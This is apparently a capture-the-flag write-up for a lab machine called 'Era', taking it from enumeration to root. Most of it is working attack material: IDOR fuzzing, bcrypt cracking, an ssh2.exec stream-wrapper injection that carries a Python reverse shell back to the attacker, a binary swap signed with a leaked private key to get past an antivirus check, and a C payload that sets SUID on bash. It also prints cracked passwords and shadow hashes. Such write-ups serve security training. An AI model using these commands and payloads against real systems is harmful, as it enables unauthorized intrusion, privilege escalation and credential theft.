Enum

  • Port Scan
$ export IP=<MACHINE_IP>
$ rustscan --ulimit 10000 -a $IP -- -sCTV -Pn
 
*snip*
 
PORT   STATE SERVICE REASON  VERSION
21/tcp open  ftp     syn-ack vsftpd 3.0.5
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://era.htb/
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
  • Update /etc/hosts
  • Can view webpage at http://era.htb/ but nothing of importance present
  • Gobuster reveals new endpoints
$ echo "$IP era.htb" | sudo tee -a /etc/hosts
 
$ gobuster vhost -u http://era.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -t 50
 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://era.htb
[+] Method:          GET
[+] Threads:         50
[+] Wordlist:        /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: file.era.htb Status: 200 [Size: 6765]
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================
  • Update /etc/hosts again and use gobuster dir
$ echo "$IP file.era.htb" | sudo tee -a /etc/hosts
 
$ gobuster dir -u http://file.era.htb -w /usr/share/wordlists/dirb/common.txt -x php --exclude-length 6765 -t 100
 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://file.era.htb
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] Exclude Length:          6765
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 162]
/.hta                 (Status: 403) [Size: 162]
/.htpasswd            (Status: 403) [Size: 162]
/assets               (Status: 301) [Size: 178] [--> http://file.era.htb/assets/]
/download.php         (Status: 302) [Size: 0] [--> login.php]
/files                (Status: 301) [Size: 178] [--> http://file.era.htb/files/]
/images               (Status: 301) [Size: 178] [--> http://file.era.htb/images/]
/layout.php           (Status: 200) [Size: 0]
/LICENSE              (Status: 200) [Size: 34524]
/login.php            (Status: 200) [Size: 9214]
/logout.php           (Status: 200) [Size: 70]
/manage.php           (Status: 302) [Size: 0] [--> login.php]
/register.php         (Status: 200) [Size: 3205]
/upload.php           (Status: 302) [Size: 0] [--> login.php]
Progress: 9228 / 9230 (99.98%)
===============================================================
Finished
===============================================================
  • We can view and access many pages at this new endpoint

  • Let’s create a user via the /register.php we uncovered
  • Can also use strictly curl commands but for demonstration will show webpages

  • Sign in

  • Now have a dashboard with upload functionality

  • Immediately notice reset security form takes ANY username
  • However admin is not a valid username if you test login afterwards (will see later)

  • Instead we can test an upload to see what happens

  • Successful upload generates an accessible URL

  • However the files are served as downloads, webshells do not work here.
  • There is an ID # for the file, Insecure Direct Object Reference may be present
  • In order to FFUF or fuzz we need a cookie (I am using asdf:asdf user I created)
$ SESSID=$(curl -s -X POST \
  -d "username=asdf&password=asdf&submitted=true" \
  http://file.era.htb/login.php -D - | grep -oP 'PHPSESSID=\K[^;]+')
 
$ echo $SESSID
8kenm5b6bs32f36uu9oioa88vs
  • FFUF using cookie (added filters for simple output)
$ ffuf -u "http://file.era.htb/download.php?id=FUZZ" \
  -w <(seq 0 1000) \
  -b "PHPSESSID=$SESSID" \
  -fc 404 -mc 200 -fs 7686 -s
 
54
150
  • One liner for copypasta
$ SESSID=$(curl -s -X POST -d "username=asdf&password=asdf&submitted=true" http://file.era.htb/login.php -D - | grep -oP 'PHPSESSID=\K[^;]+') && ffuf -u "http://file.era.htb/download.php?id=FUZZ" -w <(seq 0 1000) -b "PHPSESSID=$SESSID" -fc 404 -mc 200 -fs 7686 -s
 
54
150
  • Files 54 and 150 seem valid, lets see if we can access

id=54

id=150

  • Download these files to reveal some important source code
$ unzip site-backup-30-08-24.zip -d site-backup-30-08-24
 
Archive:  site-backup-30-08-24.zip
*snipped*
  inflating: site-backup-30-08-24/download.php
  inflating: site-backup-30-08-24/filedb.sqlite
   creating: site-backup-30-08-24/files/
  inflating: site-backup-30-08-24/files/.htaccess
 extracting: site-backup-30-08-24/files/index.php
  inflating: site-backup-30-08-24/functions.global.php
  inflating: site-backup-30-08-24/index.php
  inflating: site-backup-30-08-24/initial_layout.php
  inflating: site-backup-30-08-24/layout.php
  inflating: site-backup-30-08-24/layout_login.php
  inflating: site-backup-30-08-24/login.php
  inflating: site-backup-30-08-24/logout.php
  inflating: site-backup-30-08-24/main.png
  inflating: site-backup-30-08-24/manage.php
  inflating: site-backup-30-08-24/register.php
  inflating: site-backup-30-08-24/reset.php
  inflating: site-backup-30-08-24/security_login.php
  inflating: site-backup-30-08-24/upload.php
 
$ unzip signing.zip -d signing
Archive:  signing.zip
  inflating: signing/key.pem
  inflating: signing/x509.genkey
  • Enumerating the filedb.sqlite we find user info and hashes (admin username has random chars hence why we couldn’t simply reset earlier)
$ sqlite3 site-backup-30-08-24/filedb.sqlite "SELECT * FROM users;"
 
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|600|Maria|Oliver|Ottawa
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||
5|john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6|-1|||
6|ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC|-1|||
  • Generate hashes.txt and crack with hashcat
$ sqlite3 site-backup-30-08-24/filedb.sqlite "SELECT user_password FROM users;" > hashes.txt
 
$ hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
 
*snip*
$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm:america
$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.:mustang

Creds and info

admin_ef01cab31aa correct admin username

eric : america

yuri : mustang

User

  • Recall only port open are FTP and HTTP and test creds
  • Yuri can access FTP
  • This will list everything (no need to download since we only need to look)
$ ftp -inv $IP <<EOF
user yuri mustang
ls -la
cd apache2_conf
ls -la
cd ..
cd php8.1_conf
ls -la
bye
EOF
 
Connected to 10.129.104.193.
220 (vsFTPd 3.0.5)
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
229 Entering Extended Passive Mode (|||40446|)
150 Here comes the directory listing.
drwxr-xr-x    4 0        114          4096 Jul 22 08:42 .
drwxr-xr-x    4 0        114          4096 Jul 22 08:42 ..
drwxr-xr-x    2 0        0            4096 Jul 22 08:42 apache2_conf
drwxr-xr-x    3 0        0            4096 Jul 22 08:42 php8.1_conf
226 Directory send OK.
250 Directory successfully changed.
229 Entering Extended Passive Mode (|||61371|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 22 08:42 .
drwxr-xr-x    4 0        114          4096 Jul 22 08:42 ..
-rw-r--r--    1 0        0            1332 Dec 08  2024 000-default.conf
-rw-r--r--    1 0        0            7224 Dec 08  2024 apache2.conf
-rw-r--r--    1 0        0             222 Dec 13  2024 file.conf
-rw-r--r--    1 0        0             320 Dec 08  2024 ports.conf
226 Directory send OK.
250 Directory successfully changed.
250 Directory successfully changed.
229 Entering Extended Passive Mode (|||24206|)
150 Here comes the directory listing.
drwxr-xr-x    3 0        0            4096 Jul 22 08:42 .
drwxr-xr-x    4 0        114          4096 Jul 22 08:42 ..
drwxr-xr-x    2 0        0            4096 Jul 22 08:42 build
-rw-r--r--    1 0        0           35080 Dec 08  2024 calendar.so
-rw-r--r--    1 0        0           14600 Dec 08  2024 ctype.so
-rw-r--r--    1 0        0          190728 Dec 08  2024 dom.so
-rw-r--r--    1 0        0           96520 Dec 08  2024 exif.so
-rw-r--r--    1 0        0          174344 Dec 08  2024 ffi.so
-rw-r--r--    1 0        0         7153984 Dec 08  2024 fileinfo.so
-rw-r--r--    1 0        0           67848 Dec 08  2024 ftp.so
-rw-r--r--    1 0        0           18696 Dec 08  2024 gettext.so
-rw-r--r--    1 0        0           51464 Dec 08  2024 iconv.so
-rw-r--r--    1 0        0         1006632 Dec 08  2024 opcache.so
-rw-r--r--    1 0        0          121096 Dec 08  2024 pdo.so
-rw-r--r--    1 0        0           39176 Dec 08  2024 pdo_sqlite.so
-rw-r--r--    1 0        0          284936 Dec 08  2024 phar.so
-rw-r--r--    1 0        0           43272 Dec 08  2024 posix.so
-rw-r--r--    1 0        0           39176 Dec 08  2024 readline.so
-rw-r--r--    1 0        0           18696 Dec 08  2024 shmop.so
-rw-r--r--    1 0        0           59656 Dec 08  2024 simplexml.so
-rw-r--r--    1 0        0          104712 Dec 08  2024 sockets.so
-rw-r--r--    1 0        0           67848 Dec 08  2024 sqlite3.so
-rw-r--r--    1 0        0          313912 Dec 08  2024 ssh2.so
-rw-r--r--    1 0        0           22792 Dec 08  2024 sysvmsg.so
-rw-r--r--    1 0        0           14600 Dec 08  2024 sysvsem.so
-rw-r--r--    1 0        0           22792 Dec 08  2024 sysvshm.so
-rw-r--r--    1 0        0           35080 Dec 08  2024 tokenizer.so
-rw-r--r--    1 0        0           59656 Dec 08  2024 xml.so
-rw-r--r--    1 0        0           43272 Dec 08  2024 xmlreader.so
-rw-r--r--    1 0        0           51464 Dec 08  2024 xmlwriter.so
-rw-r--r--    1 0        0           39176 Dec 08  2024 xsl.so
-rw-r--r--    1 0        0           84232 Dec 08  2024 zip.so
226 Directory send OK.
221 Goodbye.
  • These are the PHP extension modules available
  • Reviewing site backup we find interesting function in downloads.php
*snip*
 
 // BETA (Currently only available to the admin) - Showcase file instead of downloading it
	} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
    		$format = isset($_GET['format']) ? $_GET['format'] : '';
    		$file = $fetched[0];
 
		if (strpos($format, '://') !== false) {
        		$wrapper = $format;
        		header('Content-Type: application/octet-stream');
    		} else {
        		$wrapper = '';
        		header('Content-Type: text/html');
    		}
 
    		try {
        		$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
			$full_path = $wrapper ? $wrapper . $file : $file;
			// Debug Output
			echo "Opening: " . $full_path . "\n";
        		echo $file_content;
    		} catch (Exception $e) {
        		echo "Error reading file: " . $e->getMessage();
    		}
*snip*
  • IF we are admin in file.era.htb we have access to this BETA function to preview files using fopen().
  • If a stream wrapper (://) is passed as format, it’s prepended to the file path, allowing abuse of the enabled wrappers we saw earlier
  • Since we now know correct admin username, we can reset the security questions and login via http://file.era.htb/security_login.php

  • Login

  • Success! Now we can use admin cookie to authenticate for commands if needed (in my case PHPSESSID=j676658fvlfe4p22lubm6k9366)
  • Circling back to the BETA function and wrappers, only having ftp creds narrowed down our RCE surface
  • SSH2 is the only module that seems to have RCE capabilities through ssh2_exec
  • Since we can access FTP we know yuri is a valid system account so let’s test a reverse shell
$ export COOKIE=""
$ export YOURIP=""
$ export PORT=""
 
# have listener ready
$ nc -lvnp $PORT
 
$ curl -s -b "PHPSESSID=$COOKIE" \
"http://file.era.htb/download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1/python3%20-c%20%22import%20socket,os,pty;s=socket.socket();s.connect((%5C%22$YOURIP%5C%22,$PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(%5C%22/bin/bash%5C%22)%22%3B"
 
connect to [YOU] from (PWNED) [10.129.104.193] 41194
	yuri@era:~$
  • Does not have user.txt but maybe we can use eric creds
yuri@era:~$ su eric
Password: america
 
eric@era:/home/yuri$ cd
 
eric@era:~$ id
uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs)
 
eric@era:~$ ls
user.txt

Root

  • File enum reveals unusual files in /opt
eric@era:~$ cd /opt/AV/periodic-checks
 
eric@era:/opt/AV/periodic-checks$ ls -la
total 32
drwxrwxr-- 2 root devs  4096 Jul 27 06:06 .
drwxrwxr-- 3 root devs  4096 Jul 22 08:42 ..
-rwxrw---- 1 root devs 16544 Jul 27 06:06 monitor
-rw-rw---- 1 root devs   103 Jul 27 06:06 status.log
  • We see monitor binary is writable by eric
  • Perhaps we can replace the binary and wait for root to trigger
  • First we need a reference, so check the log and compare output later to verify events
eric@era:/opt/AV/periodic-checks$ cat status.log
 
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
  • Likely periodically executed by root from the name of the dir
  • Let’s create a test binary that simply prints a message locally, compile, then upload to replace original monitor in eric shell
$ echo '#include <stdio.h>\nint main(){printf("PWNED\\n");return 0;}' > monitor_test.c && gcc monitor_test.c -o monitor -static
  • Now we backup original monitor just to be safe
eric@era:/opt/AV/periodic-checks$ mv monitor monitor.bak
  • Start http server and download as eric
# local machine
$ python3 -m http.server 7070
Serving HTTP on 0.0.0.0 port 7070 (http://0.0.0.0:7070/) ...
 
# eric shell
eric@era:/opt/AV/periodic-checks$ rm monitor
eric@era:/opt/AV/periodic-checks$ wget http://10.10.xx.xx:7070/monitor
  • Check the log periodically to see output eventually will see this or similar
eric@era:/opt/AV/periodic-checks$ cat status.log
 
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
objcopy: /opt/AV/periodic-checks/monitor: can't dump section '.text_sig' - it does not exist: file format not recognized
[ERROR] Executable not signed. Tampering attempt detected. Skipping.
  • Now we see what the signing.zip might be useful for, this error shows checks for authentic monitor binary
  • Let’s look further into the contents
$ cat signing/x509.genkey
[ req ]
default_bits = 2048
distinguished_name = req_distinguished_name
prompt = no
string_mask = utf8only
x509_extensions = myexts
 
[ req_distinguished_name ]
O = Era Inc.
CN = ELF verification
emailAddress = yurivich@era.com
 
[ myexts ]
basicConstraints=critical,CA:FALSE
keyUsage=digitalSignature
subjectKeyIdentifier=hash
authorityKeyIdentifier=keyid
 
$ cat signing/key.pem
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCqKH30+RZjkxiV
JMnuB6b1dDbWUaw3p2QyQvWMbFvsi7zG1kE2LBrKjsEyvcxo8m0wL9feuFiOlciD
MamELMAW0UjMyew01+S+bAEcOawH81bVahxNkA4hHi9d/rysTe/dnNkh08KgHhzF
mTApjbV0MQwUDOLXSw9eHd+1VJClwhwAsL4xdk4pQS6dAuJEnx3IzNoQ23f+dPqT
CMAAWST67VPZjSjwW1/HHNi12ePewEJRGB+2K+YeGj+lxShW/I1jYEHnsOrliM2h
ZvOLqS9LjhqfI9+Q1RxIQF69yAEUeN4lYupa0Ghr2h96YLRE5YyXaBxdSA4gLGOV
HZgMl2i/AgMBAAECggEALCO53NjamnT3bQTwjtsUT9rYOMtR8dPt1W3yNX2McPWk
wC2nF+7j+kSC0G9UvaqZcWUPyfonGsG3FHVHBH75S1H54QnGSMTyVQU+WnyJaDyS
+2R9uA8U4zlpzye7+LR08xdzaed9Nrzo+Mcuq7DTb7Mjb3YSSAf0EhWMyQSJSz38
nKOcQBQhwdmiZMnVQp7X4XE73+2Wft9NSeedzCpYRZHrI820O+4MeQrumfVijbL2
xx3o0pnvEnXiqbxJjYQS8gjSUAFCc5A0fHMGmVpvL+u7Sv40mj/rnGvDEAnaNf+j
SlC9KdF5z9gWAPii7JQtTzWzxDinUxNUhlJ00df29QKBgQDsAkzNjHAHNKVexJ4q
4CREawOfdB/Pe0lm3dNf5UlEbgNWVKExgN/dEhTLVYgpVXJiZJhKPGMhSnhZ/0oW
gSAvYcpPsuvZ/WN7lseTsH6jbRyVgd8mCF4JiCw3gusoBfCtp9spy8Vjs0mcWHRW
PRY8QbMG/SUCnUS0KuT1ikiIYwKBgQC4kkKlyVy2+Z3/zMPTCla/IV6/EiLidSdn
RHfDx8l67Dc03thgAaKFUYMVpwia3/UXQS9TPj9Ay+DDkkXsnx8m1pMxV0wtkrec
pVrSB9QvmdLYuuonmG8nlgHs4bfl/JO/+Y7lz/Um1qM7aoZyPFEeZTeh6qM2s+7K
kBnSvng29QKBgQCszhpSPswgWonjU+/D0Q59EiY68JoCH3FlYnLMumPlOPA0nA7S
4lwH0J9tKpliOnBgXuurH4At9gsdSnGC/NUGHII3zPgoSwI2kfZby1VOcCwHxGoR
vPqt3AkUNEXerkrFvCwa9Fr5X2M8mP/FzUCkqi5dpakduu19RhMTPkdRpQKBgQCJ
tU6WpUtQlaNF1IASuHcKeZpYUu7GKYSxrsrwvuJbnVx/TPkBgJbCg5ObFxn7e7dA
l3j40cudy7+yCzOynPJAJv6BZNHIetwVuuWtKPwuW8WNwL+ttTTRw0FCfRKZPL78
D/WHD4aoaKI3VX5kQw5+8CP24brOuKckaSlrLINC9QKBgDs90fIyrlg6YGB4r6Ey
4vXtVImpvnjfcNvAmgDwuY/zzLZv8Y5DJWTe8uxpiPcopa1oC6V7BzvIls+CC7VC
hc7aWcAJeTlk3hBHj7tpcfwNwk1zgcr1vuytFw64x2nq5odIS+80ThZTcGedTuj1
qKTzxN/SefLdu9+8MXlVZBWj
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDajCCAlKgAwIBAgIUbWNKqYHhk6HkSMUgX/ebhOa29QswDQYJKoZIhvcNAQEL
BQAwTzERMA8GA1UECgwIRXJhIEluYy4xGTAXBgNVBAMMEEVMRiB2ZXJpZmljYXRp
b24xHzAdBgkqhkiG9w0BCQEWEHl1cml2aWNoQGVyYS5jb20wIBcNMjUwMTI2MDIw
OTM1WhgPMjEyNTAxMDIwMjA5MzVaME8xETAPBgNVBAoMCEVyYSBJbmMuMRkwFwYD
VQQDDBBFTEYgdmVyaWZpY2F0aW9uMR8wHQYJKoZIhvcNAQkBFhB5dXJpdmljaEBl
cmEuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqih99PkWY5MY
lSTJ7gem9XQ21lGsN6dkMkL1jGxb7Iu8xtZBNiwayo7BMr3MaPJtMC/X3rhYjpXI
gzGphCzAFtFIzMnsNNfkvmwBHDmsB/NW1WocTZAOIR4vXf68rE3v3ZzZIdPCoB4c
xZkwKY21dDEMFAzi10sPXh3ftVSQpcIcALC+MXZOKUEunQLiRJ8dyMzaENt3/nT6
kwjAAFkk+u1T2Y0o8FtfxxzYtdnj3sBCURgftivmHho/pcUoVvyNY2BB57Dq5YjN
oWbzi6kvS44anyPfkNUcSEBevcgBFHjeJWLqWtBoa9ofemC0ROWMl2gcXUgOICxj
lR2YDJdovwIDAQABozwwOjAMBgNVHRMBAf8EAjAAMAsGA1UdDwQEAwIHgDAdBgNV
HQ4EFgQU/XYF/LzWBMr+NhZw/PHUlQHb0s0wDQYJKoZIhvcNAQELBQADggEBAAzE
eNQxIJH6Z8vOvP8g1OoyD0Ot9E8U/PdxlM7QWqk9qcH0xyQZqg7Ee5L/kq4y/1i1
ZxAPlBfOUx4KhZgWVkStfvut0Ilg3VSXVntPPRi8WAcDV5nivYtphv16ZQkaclFy
dN0mYQc2NlqDv+y5FKnGbkioRUVGGmkIqeaT4HIUA2CFRnTr2Jao0TwAIG0jfpov
+y/t2WhUNto9L04vcD3ZAzuEPZnqs/L9rsoDZ1Ee3DxnOC7l3PkklaIiDrXiHAkd
Nrg7N9XCeQr0FUS0xLMBMVCEJT2TCo6lXKtcI5A5FgAcyECDzkw+HdgSYFPaoYJq
5rxH+xhuDqRDr941Sg4=
-----END CERTIFICATE-----
  • ELF verification mentioned, need to bypass AV checks
  • We have what we need for signing a binary using linux-elf-binary-signer
$ git clone https://github.com/NUAA-WatchDog/linux-elf-binary-signer.git
 
$ ./linux-elf-binary-signer/elf-sign sha256 signing/key.pem signing/key.pem monitor signed_monitor
 --- 64-bit ELF file, version 1 (CURRENT), little endian.
 --- 26 sections detected.
 --- Section 0006 [.text] detected.
 --- Length of section [.text]: 479225
 --- Signature size of [.text]: 458
 --- Writing signature to file: .text_sig
 --- Removing temporary signature file: .text_sig
  • Upload again and replace monitor check logs and eventually see similar output
eric@era:/opt/AV/periodic-checks$ cat status.log
 
PWNED
[SUCCESS] No threats detected.
  • So we have bypassed the AV checks and executed a payload!
  • Let us modify our payload to something useful (can do whatever you want to run as root)
  • I will simply print the flags to the log, and have option to pop root shell if we’d like
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main() {
    FILE *f;
    char buf[64];
    const char *flags[] = {"/home/eric/user.txt", "/root/root.txt"};
    const char *names[] = {"USER", "ROOT"};
 
    setuid(0);
    setgid(0);
 
    printf("=== FLAG DUMP ===\n");
 
    for (int i = 0; i < 2; i++) {
        f = fopen(flags[i], "r");
        printf("%s : ", names[i]);
        if (f) {
            fgets(buf, sizeof(buf), f);
            printf("%.32s", buf);
            fclose(f);
        } else {
            printf("NOT_FOUND");
        }
        printf("\n");
    }
 
    system("chmod 4755 /bin/bash");
    printf("\n[SUID SET] => /bin/bash -p\n");
    printf("==================\n");
    return 0;
}
  • Upload and replace as before
  • Will see logs update to something like this:
eric@era:/opt/AV/periodic-checks$ cat status.log
 
=== FLAG DUMP ===
USER : 49ee5a5082355b6a21d61d2ff8382c31
ROOT : c17971ec8f2f88fbbad8cc3d1d51ca95
 
[SUID SET] => /bin/bash -p
==================
[SUCCESS] No threats detected.
  • And you can now spawn a shell as root if inclined
eric@era:/opt/AV/periodic-checks$ /tmp/root	-p
 
root-5.1$ id
uid=1000(eric) gid=1000(eric) euid=0(root) groups=1000(eric),1001(devs)
 
root-5.1$ cat /etc/shadow
 
root:$y$j9T$KS466bqZgScjpShqW.M5R.$ZJiDypD1.tHrT5D3AeWhnsIUp2rIrTnkRp4jrV5TjgB:19983:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::
sys:*:19977:0:99999:7:::
sync:*:19977:0:99999:7:::
games:*:19977:0:99999:7:::
man:*:19977:0:99999:7:::
lp:*:19977:0:99999:7:::
mail:*:19977:0:99999:7:::
news:*:19977:0:99999:7:::
uucp:*:19977:0:99999:7:::
proxy:*:19977:0:99999:7:::
www-data:*:19977:0:99999:7:::
backup:*:19977:0:99999:7:::
list:*:19977:0:99999:7:::
irc:*:19977:0:99999:7:::
gnats:*:19977:0:99999:7:::
nobody:*:19977:0:99999:7:::
_apt:*:19977:0:99999:7:::
systemd-network:*:19977:0:99999:7:::
systemd-resolve:*:19977:0:99999:7:::
messagebus:*:19977:0:99999:7:::
systemd-timesync:*:19977:0:99999:7:::
pollinate:*:19977:0:99999:7:::
usbmux:*:19983:0:99999:7:::
sshd:*:19983:0:99999:7:::
eric:$6$.ki8iFVEyU3nItnU$hbR6van4JaXfZTkvXIynNfMIZMp4YCeU9f/jRR4xfdtCOceIJxwDHKrKyjMZtb2juxWsE6GcHJQAxfat7m12a/:19983:0:99999:7:::
ftp:*:20065:0:99999:7:::
yuri:$y$j9T$nb4GkUIQQFAvxZEOhZ0Dk0$WvwIZQLgnstRTdMheX1tug.aHi0TrwGcFJB93k8DcA6:20268:0:99999:7:::
_laurel:!:20271::::::